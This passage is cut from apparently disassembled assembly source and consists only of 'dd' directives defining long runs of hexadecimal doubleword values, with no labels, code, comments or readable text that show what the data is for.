0A67F3322h, 0E6081EB3h, 4B5EEB3Eh dd 95AEE958h, 0E85C1984h, 1F8F856Ah, 7B8E31EAh, 994E3B7Eh dd 301C5011h, 0AF90B3F7h, 5E852C4h, 17D20310h, 0A50FCB29h dd 420F49DDh, 0DF1A57F9h, 0CA08027Dh, 0EB800083h, 0B40950F1h dd 5BE328C9h, 0BC68842Ah, 62DCEE72h, 2F4302B8h, 0CFE9072Dh dd 0D9BD0D78h, 7F5C517Ch, 51893CE2h, 9D28C455h, 0FC788462h dd 0F6E9D8B4h, 7B6C58E6h, 0D7EAF5C9h, 0E05F5362h, 0B7BB8270h dd 35877431h, 0CE36B93h, 54EBE9C2h, 9495E47Fh, 740C8324h dd 0D8CE184Dh, 6B410782h, 1002BF6h, 725CD605h, 9253A53h dd 9C14DA4h, 23DCD31Eh, 0D0B6296Fh, 0C6BB0992h, 0C0DE36C4h dd 0EC3C6F03h, 0E05E7C31h, 29781AAAh, 80D1CDAh, 5B14001Ch dd 6413D12Dh, 10AF4532h, 0B84A07B5h, 0B2FAB147h, 993F32Ch dd 2B046875h, 2601FB47h, 15CC71Dh, 1C11B409h, 2D8D141Eh dd 273C4431h, 7FF1F202h, 497F5458h, 6ED289h, 71070A23h dd 7527E90Bh, 3B4B526Eh, 13A7F0F6h, 617E37Ch, 4190A0F4h dd 7EF43AE0h, 8C654F9Ah, 595EA79Fh, 13ADD7C8h, 4135F18h dd 0E32CC9D9h, 50E4055h, 0FF3B4C16h, 2DF89705h, 9EAC0717h dd 0AC982C20h, 1E9A28EEh, 8013CBE0h, 5C5696C3h, 0E9F1E4ECh dd 16EA388Ch, 44EB5DB3h, 1F71E519h, 0A22A91CBh, 8405EAAEh dd 7680088Ch, 4A6E1054h, 1C68FD57h, 0F2EEA4E9h, 0F205F1A0h dd 861EDE1Ch, 0E82FC8E1h, 3390B573h, 19991669h, 7CD8312Fh dd 89613E3Ch, 316A0CCCh, 78EA5EAh, 515C21D2h, 45F892BDh dd 0F2F201B8h, 26E89086h, 0FE13D853h, 276F33FAh, 0C501129Ch dd 15912F75h, 1884CB29h, 5BA1358h, 0BE853511h, 7D48E4DBh dd 0F084D95Ch, 20BF1229h, 0B097A4D1h, 1CE89B5Fh, 0E9358730h dd 2AC52B9Fh, 85048850h, 5100E71Fh, 26E22B9h, 0CA297409h dd 0A0C2FC59h, 82F3B50Bh, 6041FEA5h, 29385018h, 0C9BB5305h dd 33C0622Dh, 2D40C7E3h, 87C0545Bh, 89818039h, 25666EF6h dd 16555DEBh, 4FD320F3h, 0C85FE970h, 605B4F47h, 86B52C37h dd 0C70428FDh, 81D148F9h, 0A46E59BAh, 41192517h, 0E33EC867h dd 0AAF2853Eh, 345F12F7h, 328BAF6Ah, 6B60B327h, 0E41E4F35h dd 0C7891CB5h, 0B94D5780h, 5C6DE91Fh, 0E5F7D283h, 0C83493AFh dd 6D5DE9CCh, 0DE300F6Ah, 24E0095Bh, 88BF209Ch, 459D52D3h dd 68D74C66h, 4E0ACA38h, 0AE9D74EBh, 2D2E446Dh, 8B1E6D03h dd 1BA949h, 7AC6F792h, 1B0A4C01h, 0CC94CD20h, 0FB537E6Fh dd 4A05F440h, 5213528h dd 0F61DE62Dh, 41F5F80Dh, 11A0F207h, 1A58098Ch, 0ADF9595Eh dd 367905B5h, 159DBEF0h, 912DECECh, 772985B0h, 2AED8120h dd 0C268003Dh, 4ABE1806h, 3772C85Fh, 58B0CE5Ah, 703102ACh dd 0E2BAE97Dh, 74E2AB5Dh, 0FA4F00D7h, 3070D45h, 57C1807h dd 25B07AA6h, 12D0BE56h, 0BF6BEE38h, 14016C13h, 9ED7FE69h dd 80995A20h, 281E6EB5h, 747866E8h, 864A41FAh, 0D0BE8195h dd 68565137h, 7525430Ch, 0B5B7BB50h, 2DDAE5BBh, 5F4832F0h dd 0E8E9E0B0h, 7CB0B771h, 8DAABD6Dh, 2B05CF0Fh, 6ACCEA75h dd 694A605Eh, 382F96C6h, 5F83353Bh, 2927A7E3h, 9DEE70E8h dd 8587B72h, 257D2666h, 5AA4DD3Ch, 771A9FA6h, 45FF7828h dd 38B982ECh, 0A9F6A047h, 0A763DF02h, 52B35D35h, 2CD53A88h dd 0B560E695h, 749038D8h, 20487927h, 0B2374169h, 0ED813E60h dd 23752FF4h, 8044D4Ah, 0D844FB5Fh, 0BA00CC5Ch, 302F676Ah dd 90BAC3F4h, 820BF897h, 51C060EDh, 60C9FC4Ch, 0DAF61C4Bh dd 801FC2FEh, 170BE2F2h, 0B07F4CA1h, 0B5D9B0D6h, 27E8F464h dd 0E9605A81h, 0CC228A60h, 0BE03DE3Bh, 1711E84Fh, 0E3444E81h dd 0D61069C6h, 5DBC58D6h, 13BE012h, 10288F5Ah, 4C09E90Ch dd 0D392AED8h, 0BAB4D1F2h, 0A3F33C80h, 0FB0D09BDh, 336BDD89h dd 0D1578792h, 81401205h, 60D788F1h, 44F4F82Fh, 4A89D340h dd 4BFCA8DFh, 4B7A0D2Ch, 852DFA3Ch, 0C036A0F8h, 2119BD1Ah dd 0BA0405DEh, 2227E4BCh, 0AA4EC2A8h, 9CA8E00h, 2E2D9A63h dd 8B38FCE9h, 0E4FA7C31h, 3CEAE3DFh, 5ED57D20h, 0AE91135Fh dd 80AB9684h, 68575BE2h, 1826012Fh, 5A2A2D6Fh, 1D54E811h dd 13D86770h, 7868D40Ch, 27348071h, 7230A12Ch, 3B2E3900h dd 4EC2E975h, 0DECAF9CFh, 0BDE6FDCAh, 3C2FEA81h, 4BED581Dh dd 2D01003Ah, 26BE46CAh, 154A3DF4h, 1A93CAF2h, 6DDD3CD5h dd 6F5627B5h, 0A1A10E44h, 0E0DCF92Bh, 9D14E952h, 0A7AC4907h dd 0B050903Bh, 227EB669h, 6EC0D94Fh, 0F535DBFh, 0FA89265Ch dd 0AB61F189h, 3FF86166h, 60D92DE1h, 96A38A20h, 53F2E5A5h dd 10DAF685h, 5800E3EDh, 218DF581h, 58BF4220h, 0BB6A22E4h dd 3092C504h, 0DC92540Dh, 5F0883EDh, 70B5EDE9h, 53255597h dd 0DF9CA93Ch, 6950C649h, 66E069E4h, 7AC9B653h, 4F9424E0h dd 0E9039C06h, 72D8B34h, 0DE7EBEF2h, 0C8B2B27Fh, 89A91257h dd 5F11A9ADh, 0C5A65FC5h, 856941A5h, 5001C4C1h, 48F34057h dd 5F90870Ah, 47AB0830h, 0B09A35E2h, 3B99313Eh, 6EFBC3BDh dd 12B04B21h, 3D4B8004h, 287B5B0Bh, 9997D2E0h, 6DACD7CAh dd 23542D91h, 0D6765A94h, 0AAD34AE8h, 0B0A1F357h, 5802B1C1h dd 0E59FEC58h, 88A602h, 2EDE6303h, 9BB7C229h, 40FAC3DDh dd 9C5F1038h, 74E98472h, 0DC13A5CAh, 66973632h, 817B735Ch dd 0C1A52B2Dh, 0BD0B7D30h, 250C0318h, 3660969Eh, 0B06A554Bh dd 3B30F0E4h, 0E7034EBAh, 699C1F2Eh, 6F9DC7E0h, 0E9405604h dd 0F4F35E9Fh, 68823059h, 945565BCh, 0BC585CB7h, 648016B4h dd 0CED4AFC2h, 204A8614h, 186812BAh, 2B474434h, 4F4BB3DEh dd 35B132E8h, 0A0B900BDh, 75F2506h, 18805262h, 9C57395h dd 55123164h, 4C7D3EA9h, 88C46201h, 0A80EBFC1h, 13EB1358h dd 92FFE9F2h, 5A5238BDh, 51E8129Bh, 4018155Bh, 0E90D862Dh dd 0B4F65A12h, 0CD39876Ah, 1F6F5881h, 0CAF97CB0h, 0DC5CFC82h dd 0E24F515Dh, 6816CDECh, 29911F9h, 979CE26Bh, 6882CEA2h dd 81716434h, 59F9C989h, 1ECBCF52h, 86587424h, 6EF1549Fh dd 532B7C04h, 0FE4D6C2h, 395C4A0Bh, 1E5A5427h, 0D4A63FEBh dd 355889A4h, 5EDCE177h, 2109CC6Eh, 0EB758A4Fh, 91A006E8h dd 4C006E7Ch, 47FFEF83h, 0A81A0C68h, 99A123F4h, 68554045h dd 98B56A03h, 1547282h, 0CBD0B45h, 6F0D6837h, 7E595788h dd 4C801205h, 10FAA881h, 3C58BBBCh, 97EA3077h, 0E003F665h dd 622F3125h, 7F5D0A0h, 2717E1EBh, 0BD006F29h, 66728426h dd 8CE009BFh, 77283E06h, 485FF1h, 3275BFF1h, 0FA9F2357h dd 358C1CB7h, 17CBAC14h, 0DE90A8ECh, 6C534A53h, 22EEB717h dd 0E67C9F0Dh, 64175D27h, 61FB1416h, 96B4A82Bh, 0DBCEE9Bh dd 81791899h, 4F99B959h, 0F02E5C3Ah, 9A9508B6h, 814EF7E3h dd 0BB531680h, 2D4D44BFh, 0B4C485EDh, 77CDA2F0h, 6BADEA52h dd 0C30268F4h, 0C0713076h, 2520FE69h, 857FB5D0h, 89CBD8F0h dd 0ECE0D312h, 0B3A6A4C1h, 0BB63D733h, 486230D8h, 17DE893Eh dd 0EEB403BEh, 3B4541E0h, 0E3418981h, 68176C36h, 0DEF0BCF3h dd 99148D09h, 0B02B506Eh, 6C04AADCh, 0CF872DD2h, 7849F097h dd 4C04786Bh, 8B26A5D7h, 0E91202A3h, 0EE84605h, 7C601F8Dh dd 2516EF18h, 0B5394C04h, 0A693563Bh, 17C70249h, 8FE0D634h dd 1802E31h, 5DF19DCFh, 0E99EE072h, 0E42F5AD8h, 2128A20h dd 130C6B5Dh, 0FF71767h, 0E74591C5h, 0F3CD977Ch, 4AE4AC0h dd 0A32294B7h, 57D28941h, 213E1D40h, 31EC8080h, 0C95088A3h dd 0CEAD023Dh, 371E059Dh, 0C04B5EB9h, 96CB8185h, 4259572Ch dd 0FBA2C313h, 16D86F10h, 94E9C830h, 51CAC97h, 4F6D686Fh dd 0D41040A3h, 9256600Ah, 0EC33A245h, 7FD21DF3h, 0C10193FEh dd 43F280Fh, 41510AEFh, 18EC03A5h, 0F1B030C6h, 4A0408EFh dd 40B56832h, 41559DD8h, 506B303Ah, 801FB47Bh, 375201C4h dd 0BB7B2B0h, 30E3B22Ch, 7409FC82h, 0D724A671h, 9F377B00h dd 39EAC116h, 0EB9E8106h, 40925Eh, 231DF0A2h, 0E325E9C0h dd 2435E622h, 9452C3ECh, 8412BA51h, 0B25A7220h, 4AB6C6FDh dd 101CF654h, 2BD43B50h, 83F1B425h, 7DD4FE8Bh, 8B135815h dd 0FB0D74BBh, 2502F422h, 194EC255h, 4F051BAFh, 94B95FAEh dd 506B203h, 0C27357Ch, 715B80Bh, 0B0D8293Ah, 22D5296Ah dd 935E77E9h, 610A2281h, 0E3BBC004h, 3E4C9F29h, 34583BE3h dd 0B1F40F7h, 5E5AD785h, 1E65B400h, 0BA011702h, 5F0881B1h dd 41FC6C60h, 0C848AC67h, 0DA2F2BCAh, 5CED1240h, 5F9BED14h dd 575A58D2h, 0F7011BF1h, 2FA868F1h, 8B6636Ah, 0E8B71000h dd 0FE01EF80h, 9C2CF8CFh, 0F1B50E89h, 8759EB05h, 0A05DC5A7h dd 52905E68h, 0A2810530h, 952E82B0h, 0D2385281h, 210A3152h dd 0EC080423h, 33BDB150h, 0AF8C1304h, 12BA5384h, 0E58D2C8h dd 258E1475h, 3DA5F709h, 0DAADD4D9h, 654D7538h, 7DB85A01h dd 89076226h, 0A7F631CAh, 746DA22Dh, 70E7548Ah, 24FEEC1h dd 0AA5037ECh, 0B24A6030h, 29B41B1Dh, 0E925D3E2h, 886F407Dh dd 30581CE5h, 0DDF6C5C5h, 0F31DEA66h, 0DE9D082h, 62925786h dd 0F1499B55h, 0AC62D07Eh, 7EF2F65Ah, 1C1EDA34h, 8229E7FAh dd 0F16BB3E9h, 17D72762h, 0AFD62DF6h, 7A6A5CF2h, 0AC7687Dh dd 3DC3A534h, 0EB057093h, 0E8283D2Dh, 0D86E5B04h, 0A9588065h dd 9A022791h, 5667CB2Dh, 53E2D56Ch, 12D3070Bh, 0E34EC010h dd 7F8113E5h, 3FEA8661h, 6D1BE00h, 0D803A828h, 21345403h dd 0D8F28158h, 0B0731A2Dh, 0E9A96BEh, 0BEB505Bh, 10E2C1E8h dd 64912B12h, 5299C901h, 39202DCBh, 92F9A16h, 655A68C3h dd 72A71C71h, 4A9BFA9Dh, 0EE1C345Fh, 0BF29B2A0h, 99E90048h dd 98F8874Ah, 4004AFD7h, 920CEE6Ah, 90A7EAAh, 0F552CAF5h dd 917F4A7h, 0AF085F53h, 15A0407h, 2C8AEB7Ch, 0CDCE0F3Ah dd 0CCE92E9Eh, 5881684Ch, 4D7E6368h, 8210E1CEh, 69E95D1Dh dd 7BA45D32h, 0B2CCEAF8h dd 71562F68h, 0E971265Eh, 0F0E03C89h, 0C1951E46h, 0EFA2C8Ch dd 27316862h, 25BD67DDh, 7E12E854h, 0D190EBBDh, 0D29ADF20h dd 31DEEB04h, 81EF7254h, 0E6F32Eh, 5BE568ADh, 665F31Dh dd 495C7DF0h, 5BD84058h, 9074F09Fh, 2F577CDEh, 4845E167h dd 0ADABEE03h, 12E99135h, 0BA970E7Bh, 3B104914h, 715425B6h dd 7CE96211h, 0E7BF60E8h, 51502714h, 0F5202DDh, 0FD01DAD1h dd 4AFF566Ah, 0AC230AA4h, 55002A10h, 0C46B69BDh, 0F5628110h dd 7E3B8EF4h, 159053Bh, 7BACB6D8h, 2E4F1813h, 0B00145E8h dd 0B80F3C4Dh, 4C39D027h, 2B3314Ch, 1410BF57h, 21D985A3h dd 0F03AB7B5h, 4F5A1678h, 6A9143F9h, 0F25B2817h, 42A48A2h dd 1F58AED0h, 27309ECh, 311C05F0h, 0C2D53A59h, 41515F89h dd 0F316FF5Ah, 0C2A84BA9h, 3779E8B0h, 0E91AD305h, 0DDBFE5C7h dd 9A8613Dh, 0FFE4055Ah, 151E26C6h, 0E682CDE9h, 55175807h dd 0D282C92Fh, 6EFEA70Fh, 0E3B0F76Bh, 1EC752DCh, 0F177B8B0h dd 9CC268DBh, 0F112DA3h, 4800B2F8h, 66A01405h, 0B6E2E994h dd 0DBC38119h, 217D4706h, 0E1F27A0h, 40306996h, 778F2540h dd 5EEF9095h, 2E91E173h, 81C004ADh, 8268E2E6h, 34C60CC0h dd 0C1215458h, 0AEE9ECECh, 782D20BFh, 56E57105h, 38C4F229h dd 3EC0816h, 3F1BA5B1h, 9D1009F3h, 0B4DD50CAh, 386F9E41h dd 725FC26Fh, 4DDE83F8h, 0D810353Fh, 2279EC80h, 9B7515Dh dd 66459A68h, 3CD22764h, 0FC5B31D4h, 0AFB5E904h, 9AD8C817h dd 0B7B27568h, 0E842DB98h, 90E0D180h, 406C0000h, 0CB811DC7h dd 36141EBDh, 7C44339h, 17CD6AEAh, 22B8E3D0h, 0E9661255h dd 19262058h, 5024FE5Eh, 8702C043h, 8A77Fh, 3A2A39ABh dd 0C1722197h, 6E8204E5h, 0B6068C59h, 0A9ADFB43h, 4AF2D25Bh dd 0D4A71F88h, 34BC09F7h, 0AFC415DCh, 0D856F4ABh, 0C43F1A41h dd 0CB04FB59h, 4C1B6EA7h, 68218492h, 0AA28595Bh, 8D54FC97h dd 87002390h, 48FA2FAEh, 4B715E09h, 5BC5F46Fh, 9790D997h dd 8941E45Eh, 64EB944Eh, 2CD98CAh, 97307440h, 0B37F7126h dd 4F406812h, 4510D5E3h, 0D38817B2h, 12310EFEh, 0AB5BDDC4h dd 0C9BD2284h, 0AD05BA4Bh, 32EE1A5Ah, 30DD1C7Eh, 5C5E6877h dd 5DC9023Dh, 5DEA4A7Dh, 73362CA2h, 3AED8100h, 11473046h dd 39227B0Ch, 0C5296C1Fh, 0A00851B9h, 5813140Ch, 920B525Ah dd 6D6467h, 2A656850h, 5585729h, 34F1D717h, 8A73C8ECh dd 0BEFA1A62h, 87F5C23Fh, 0D6890F58h, 3EEE6D3h, 8B7AC61Bh dd 2ED934Ch, 9B168B7h, 0E80BAECCh, 0FC280B39h, 54E905C9h dd 957A225h, 420478Fh, 0EA132EDFh, 0F090CA0Fh, 0CF28EA4Bh dd 620E09B8h, 1596A15h, 0E2581AB2h, 6BB60EB2h, 12200001h dd 0B861B25Ch, 7CDC0248h, 0C3E94C96h, 0F387FDF4h, 28A4383Ah dd 0FD1584D0h, 0C2294CDAh, 73BAC04Bh, 0BC980BE5h, 6008ECD0h dd 5432090Ch, 2865952Fh, 12C4F1A7h, 55DFEB52h, 26E8E909h dd 0A29C4A74h, 0BF4879AFh, 34823E14h, 7CB4E93Fh, 85A2D72Ch dd 56FE901Eh, 0DF07B951h, 492B082Ch, 190BFC1Ah, 0C2199243h dd 0A317C042h, 6246B7D0h, 1B01997h, 8010F373h, 0E8C1077Eh dd 6841310Bh, 4F552C4Bh, 0A796AAE2h, 0AA688520h, 0EF5112FFh dd 832DF839h, 0C432FE97h, 0F9605E57h, 0D3254A5Fh, 7EB599AEh dd 0BA9C3998h, 0CA5C4F8Ah, 0B0501236h, 825564BAh, 6572DD2Eh dd 51322109h, 6428FD0Ch, 3E682508h, 0E7598AE9h, 0C0630FC2h dd 0E8C35CE0h, 0B62F2402h, 880C17B2h, 5A9681C6h, 0D32CFC28h dd 0E3AFE912h, 73011EA4h, 0C9075CC0h, 0B874B112h, 0B7530040h dd 80CFFE43h, 68D60AEFh, 8F5F104Fh, 0EEA08DB6h, 5AF7301Ah dd 51DFF600h, 0B59EB252h, 0CBD5E03Eh, 7B02EF72h, 7EC14CC7h dd 0E1FCE58Eh, 7545D6C4h, 5ECC082h, 788D8053h, 9C306AB7h dd 107EA4F6h, 0D7257579h, 5FE73A17h, 442AB9FAh, 2F20BF74h dd 565500F7h, 6A7D98BEh, 82B74E5Ch, 5360F26Ch, 8F582DABh dd 50EED69Fh, 4D621768h, 79EDC57h, 0FB476253h, 0C58399F5h dd 607C498h, 0B5255102h, 0BD77F838h, 7D3F42F2h, 170B5C30h dd 0C9200C7Eh, 5E620983h, 0B62814Eh, 0C050025Eh, 0A917601Fh dd 0F83BB832h, 37A15A23h, 2FE3E061h, 0E530F021h, 2F83F1F7h dd 6841656Eh, 805160C0h, 283E42B8h, 0C5B1B4CCh, 335FEFC0h dd 4F1A7F7Ch, 0BF9B85D6h, 0A82A8E69h, 64E982FDh, 7F4BFAE1h dd 7CF6E6C6h, 96F52571h, 5C4FDE46h, 0CB2B78F1h, 2A947F12h dd 32CBD02Dh, 0E1D9C518h, 557E081h, 0CE81F4D2h, 233F4405h dd 17C25162h, 0D831026Bh, 404E3E60h, 0D954F126h, 0C23AD602h dd 7091000Ah, 0E2EC0DE4h, 691E8A01h, 0EC20E929h, 694B8C57h dd 0D4ED3F5Dh, 0F8C9C3DAh, 0B287E975h, 415D1DEAh, 0FFB07551h dd 73135180h, 0A09EC10h, 0F3A1E9C8h, 0E52FB8B9h, 0D51229D4h dd 215E08h, 231FCA81h, 94C72875h, 15D42A16h, 2B31C9BFh dd 1281786h, 6259121Ah, 2AAF2AE9h, 188670E8h, 0F3B76747h dd 0A8A91389h, 0B26E48A2h, 7895457h, 0A47D3C64h, 0E1D81C7h dd 3EC11566h, 0D4072383h, 0C0729478h, 0D2EA8077h, 28BF06C1h dd 53005AD0h, 864C17B3h, 0DCB12527h, 0BAA403Ch, 2EF60E06h dd 643384BFh, 0E8F3B1EAh, 34BE4E16h, 0E5A90A89h, 0B2802FE6h dd 389C3215h, 0DE4C3135h, 6F406104h, 2E0C100h, 7A1F7E35h dd 234A43C4h, 5CB7C7Dh, 99F47302h, 0A84C1EA4h, 5509CB17h dd 47AEC6A2h, 0E200F71Ah, 3D5928C4h, 0C67D567Bh, 585EF20Bh dd 0A034F44Ah, 2EA24D0h, 7C1B0022h, 69E94076h, 5A2CF740h dd 7347E711h, 2C15AC4Ch, 8B927FEBh, 2678BFEh, 53685954h dd 81D7CC48h, 49285B12h, 0B30ED5Ah, 13EEC4E9h, 0A42DC8A7h dd 0E5017E55h, 0D8CB046Eh, 0E380039Ah, 0C1F3987Ah, 0F931EDD0h dd 0D5EDE57Bh, 3DB46B57h, 59E898F3h, 39320AC3h, 0AC88C12h dd 0A65FE9BCh, 553EBBF3h, 0D20C4EFAh, 99D744DBh, 0DB50013Ch dd 0C4CFB3E9h, 0BB54E487h, 2DF6A4Bh, 55207301h, 6CF6A102h dd 3B1A38C1h, 58F84785h, 0ED7569Fh, 0F805AE1Fh, 464845Bh dd 13B504A7h, 0AFBB53EBh, 75BDBF21h, 5B31E76Bh, 0D058EAF8h dd 530D0177h, 0E9DF313Dh, 3AB43533h, 65126359h, 8BFD5801h dd 5E077CE2h, 0E8DD490Bh, 91568F63h, 95AD022Eh, 787FF92Fh dd 0B1DA2446h, 3B8E5847h, 0FF4ADD82h, 0E869375Ch, 9731E95Ah dd 0C533CC8Fh, 8B7FE8EBh, 55AC624Eh, 0DB0BDC18h, 57850F12h dd 0BD6868C0h, 7471C444h, 0BEE12FAh, 127FF5B4h, 593F7152h dd 0F3817E5Ch, 0EA3CEC14h, 40C952DEh, 5B665964h, 0D8E0602Ch dd 306F6818h, 0B15FC87Bh, 99640990h, 87A2CC68h, 0CB545B81h dd 59669609h, 7543036Bh, 0BADB7E6Fh, 0B529ED2Eh, 0E16B48CBh dd 0AC83D7A5h, 0FD791937h, 4E6FD62Fh, 0CC97C35Dh, 3E34E9B5h dd 13BA27AFh, 6058A587h, 0B09CFEDh, 183517Bh, 57E5E98Eh dd 199CA851h, 8921C311h, 0FE308B15h, 3F0559F0h, 6FE9AAB4h dd 0C75CD93Dh, 0A2B34E90h, 8690519Eh, 7082BE5Fh, 333B12C7h dd 9A1A868h, 0C05DEB31h, 2FBFB1CDh, 147EA1EAh, 0C816100Bh dd 0D67A97E1h, 52A34B4Dh, 0D8CBBF7Bh, 0D1E91A93h, 0AA827965h dd 5BC052F1h, 0FD82638Ch, 0BA530A0Fh, 0E45B7392h, 3B016926h dd 144213D6h, 0D3500B13h, 155FDDF0h, 6A246341h, 0ACED3726h dd 0E068A124h, 62519E15h, 0F20B8874h, 6A5D21FCh, 0D988C3A0h dd 660E525Eh, 87364ABAh dd 0F772CA87h, 0D50689D9h, 55D0CA03h, 21DA01F9h, 0D531F84Ch dd 0EBAE5A65h, 4F6966FBh, 30FF457Eh, 21FD30E4h, 41B9EC77h dd 20EF6C48h, 0D0213B96h, 9291E892h, 0A06A5096h, 0A7996E82h dd 0FB00FF0Bh, 13E26851h, 25AC3B91h, 0F2807C03h, 8CCA99EFh dd 4043AA24h, 0CD0BBD19h, 0F75B251Ch, 0AB00D1AFh, 0E973181Eh dd 4CB4D449h, 9B25774Ch, 62C95EC2h, 0F15FD09Fh, 0F3542F38h dd 0BA565696h, 0E9A038EBh, 0D906712Dh, 0D8273867h, 68587256h dd 20254A3Ah, 507BB2F6h, 4FB3B5A0h, 8CBE06B7h, 7C681383h dd 0A88D40h, 57A0DD5h, 9311300Eh, 22FCA060h, 16356A7Eh dd 0ECAB2A8Ch, 59137702h, 0D0A8198Eh, 0C750AA82h, 0FE1EF0AFh dd 73670B0Fh, 6F26C1C1h, 0EAAF2108h, 65FF4FEAh, 4192BF36h dd 0DEF7BC1Dh, 5446D956h, 466D129h, 5BAE3378h, 0C064AB5Ah dd 648801E5h, 5E0B449Dh, 0AE0C555Dh, 0D1760706h, 0FE017190h dd 0E97AD41Ch, 0E37F0AF7h, 0D8DA13B6h, 2E9099EEh, 0B3166C94h dd 0E9B17BA9h, 66F552C1h, 6121FF50h, 213BC11h, 9539FAE0h dd 2848316Ah, 7A2005EAh, 9542CB68h, 39BD0E18h, 0BC5C182h dd 0AE4EF628h, 0E23B636Dh, 7C32DAF7h, 46E9D0DFh, 54528B9Fh dd 0A1E9D811h, 930787B6h, 0DF104405h, 9FC1217Bh, 0D3720C90h dd 4B489A92h, 0C22D2FCBh, 70A36022h, 9E71504Dh, 27CA6E5Ah dd 0C1493984h, 27DB6FCh, 20D66135h, 0AD2F1B61h, 0BCE640AAh dd 89EF4F09h, 0D8BF80F3h, 4C2F685Bh, 0EED4461Ch, 0F62DB404h dd 0A2FBA047h, 38E82302h, 94D83BE9h, 0AC29489Eh, 0AB2740D4h dd 0A45C8884h, 9B5276E1h, 0FE412D8Ch, 0A868045Dh, 0ED31BB19h dd 0F57807AFh, 8261B5DEh, 0F24CE114h, 4917B788h, 0D52D93BFh dd 4550C88h, 0E069A0BDh, 4A13BA49h, 92A576CDh, 0CF3A0558h dd 7507A53Ch, 0B062080Eh, 0C041D058h, 0D8F421EDh, 442EE963h dd 0CC5871E6h, 0DD7E8277h, 0D7A5F69Eh, 45D74010h, 4FD3088Dh dd 0DC08A42Dh, 21195F55h, 255DEBE8h, 796847FAh, 558226F1h dd 0C118AB46h, 450842B4h, 0FB8BBDAAh, 0E52393FDh, 0B52F97FFh dd 571D2D5h, 0D5412977h, 35E83680h, 62904CE5h, 0A4512E68h dd 39738A00h, 0A4D5F76Eh, 3A8E8094h, 4BE34946h, 1133BA5Ah dd 0B0415F6Eh, 0C133801Ah, 0B0070C5Bh, 2C30FCF1h, 201759CAh dd 7DD52F99h, 0E99828C4h, 0E537740Bh, 0C560076h, 985D8813h dd 35EAFCF6h, 48BADCh, 0A7355A8Ah, 0E94FF230h, 0E1DB0E44h dd 0BD4F7514h, 0FA186251h, 94D05A8h, 29923C98h, 92C7E775h dd 0B174E8E9h, 0F67BF95Ah, 0ACE74E3Eh, 15954C4Ch, 0B8D2DC4h dd 1D66575Ch, 0A2741621h, 64969FF9h, 4B282C31h, 0CB7D66D2h dd 280ECC10h, 362CF0D1h, 37895098h, 0A7DB008h, 49D991E8h dd 0E49E92D6h, 1C7D7C5h, 1FE9A804h, 0EE4F65FCh, 8C680130h dd 47029471h, 82999455h, 17C02FEFh, 0E91B06E5h, 0B3E72C96h dd 996B4EBCh, 0E1996B94h, 9D4AE83Eh, 4C35CDF0h, 26650353h dd 4910BE56h, 5E62478Ah, 9C2F4BD5h, 0B7F64180h, 4FC02FEEh dd 0C5CA1C43h, 0F1D4EAFFh, 31B601AFh, 3C43E680h, 0F1E04BCFh dd 0D5A04177h, 7877A72Bh, 6410079h, 0C3BA38E1h, 8BA01EF9h dd 5CC15BDAh, 42AC64DFh, 9721D5E5h, 0D1E90800h, 16F7D6F3h dd 3F780918h, 0D056C22Bh, 0D77B4E0Ah, 2F95FB08h, 29AE5140h dd 91F822F0h, 69BB06B2h, 767CE9E2h, 0B55325E8h, 11AFD444h dd 0F25FD3FBh, 4D68B0EEh, 6DEF9406h, 1620450Ch, 24F7B66Dh dd 599231AAh, 177FDFBBh, 5A421EE9h, 922A9668h, 2596D931h dd 0A6E02082h, 8095C720h, 13D39805h, 0AB515FF9h, 0DB502134h dd 80EA03C8h, 0E28DFD6Ch, 274F544Eh, 9D4D9477h, 860B5565h dd 9FBCDB1Eh, 9C120C57h, 8C02B818h, 50299107h, 70655759h dd 7E9C182h, 7AB06253h, 48EE0972h, 0F1562052h, 1F60013Bh dd 9EAFE917h, 0F401112Dh, 8167CF2Bh, 7271FCF2h, 5590FFA0h dd 38C1B180h, 954CE180h, 5A7E043Bh, 28FDC098h, 0CF9066F5h dd 7F904420h, 12AE4A5Bh, 8A0FBEC7h, 0A568E955h, 26B9504Fh dd 0E2FAC525h, 0E5E6FFCh, 0C73839E1h, 9F0522B6h, 0D97E90Bh dd 0B0089CB4h, 450F62F8h, 0B0B3C301h, 8103137Ch, 0F0841EBh dd 0D93612B7h, 2431EEF8h, 993F1B19h, 23052FE8h, 0F7990BEBh dd 0D9F9D30Dh, 0BB079608h, 0D70957F7h, 0C64F15D2h, 5F5B0F94h dd 0C189D531h, 3B591B41h, 412EDED8h, 4F633CEFh, 4B5152A1h dd 3F501816h, 0E650EA88h, 0B8E3EAD4h, 307F40C0h, 0F58E12Fh dd 17926C6Ch, 51D09789h, 3567C707h, 6FE23106h, 0C94193A9h dd 916BBDBEh, 3A58BC11h, 8EBAF935h, 143481Ch, 65447DFFh dd 0D5BD8DE9h, 0D223EA0Fh, 8964436Fh, 688CBB98h, 0A3E05B85h dd 73C810A3h, 96B05000h, 0ED80F8B5h, 33A29F5Ch, 92F9BF5Dh dd 0F4B484CDh, 982DAD00h, 125C9427h, 50561CE6h, 0E237E989h dd 2CA859E2h, 88592F28h, 0A4277349h, 7BE9091Eh, 0C6FF5729h dd 0BD4E20h, 57FBB8EBh, 0D0F41AC0h, 0C48CC35Eh, 298E402Ch dd 843FDD4Ch, 0EC166DA1h, 0F23B02E1h, 62D52947h, 5A0807CFh dd 7CE80112h, 5C31661Ch, 34E93009h, 0D6EC550Bh, 9FB95105h dd 94C03539h, 0ED617DE1h, 0A18E5FEEh, 0D792DEBh, 5852EA85h dd 5D0B79B3h, 0EC8A6859h, 330DC765h, 0FA6B67E3h, 444C0470h dd 0A292880Fh, 0D73089F2h, 0C568C768h, 9A8C334Bh, 6A7E4144h dd 140FA213h, 44D3CACAh, 45BB864Ch, 6B60A403h, 23FA13h dd 0BD49451h, 558921BAh, 0F1CC2A40h, 0A2390561h, 0AEDDF758h dd 25E996A0h, 29510B09h, 5F0FC189h, 0D02F3FC6h, 0ADC24510h dd 0B90AF32Bh, 0FC76AF65h, 0BCB2E970h, 0CA680E93h, 0F71660B6h dd 3212754Dh, 21C1A6E9h, 67C81C2Ch, 0D304385Ah, 0F6F4D83Ch dd 0C3E29D17h, 0CA29517Fh, 0CC6616DFh, 7105C9DFh, 74011426h dd 0CD021BCh, 53D81441h, 8175161h, 7552E22Bh, 51A504BDh dd 3FE7DDFEh, 2CEB2675h, 0CB611976h, 45D5F73Eh, 0B26CC7E1h dd 9C969F73h, 1662E90Fh, 64A8161Ch, 0E9E7A0B4h, 7585285Ah dd 8B19F7AAh, 20A67084h, 9BD09AAh, 71EFD440h, 5BF850ACh dd 61620568h, 97D9A17h, 0D2068887h, 3B513110h, 66005613h dd 39B919B8h, 25B9ED1h, 54A2571Fh, 